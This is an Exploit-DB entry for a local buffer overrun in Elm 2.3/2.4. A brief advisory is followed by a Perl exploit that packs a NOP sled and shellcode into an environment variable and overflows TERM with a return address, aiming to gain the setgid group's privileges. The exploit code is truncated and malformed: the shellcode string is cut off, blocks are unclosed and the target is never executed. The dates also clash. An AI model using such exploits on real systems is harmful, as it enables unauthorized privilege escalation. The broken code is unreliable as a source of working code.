Elm 2.3/2.4 - Local TERM Environment Variable Buffer Overrun Vulnerability

ID EDB-ID:22836
Type exploitdb
Reporter kokanin
Modified 1997-05-13T00:00:00


Elm 2.3/2.4 Local TERM Environment Variable Buffer Overrun Vulnerability. CVE-1999-1184. Local exploit for linux platform

                                            source: http://www.securityfocus.com/bid/8030/info

A buffer overrun has been discovered in Elm. The problem occurs due to insufficient bounds checking performed before copying user-supplied data into an internal memory buffer. Specifically, a TERM environment variable containing excessive data would cause a buffer within Elm to be overrun.

As Elm is installed setgid on some systems, the exploitation of this vulnerability could potentially allow for the elevation of local privileges.

# DSR-korean-elm.pl - kokaninATdtors.net vs. /usr/ports/korean/elm
# offset, retaddr and shellcode is for my FreeBSD 4.7-RELEASE, YMMV
# reinventing the wheel, http://www.insecure.org/sploits/elm.curses.overflow.html
# shellcode by zillionATsafemode.org
# ko-elm-2.4h4.1      ELM Mail User Agent, patched for Korean E-Mail
# elm is setgid 'bin' 

$len = 512;
$ret = 0xbfbffd68;
$nop = "\x90";
$offset = 0;
$shellcode = 	"\x31\xc0\x50\x50\xb0\x17\xcd\x80\x31\xc0\x50\x68".
if (@ARGV == 1) {
    $offset = $ARGV[0];
for ($i = 0; $i < ($len - length($shellcode)); $i++) {
    $buffer .= $nop;
$buffer .= $shellcode;
$new_ret = pack('l', ($ret + $offset));
local($ENV{'EGG'}) = $buffer; 
local($ENV{'TERM'}) = $new_ret x 12;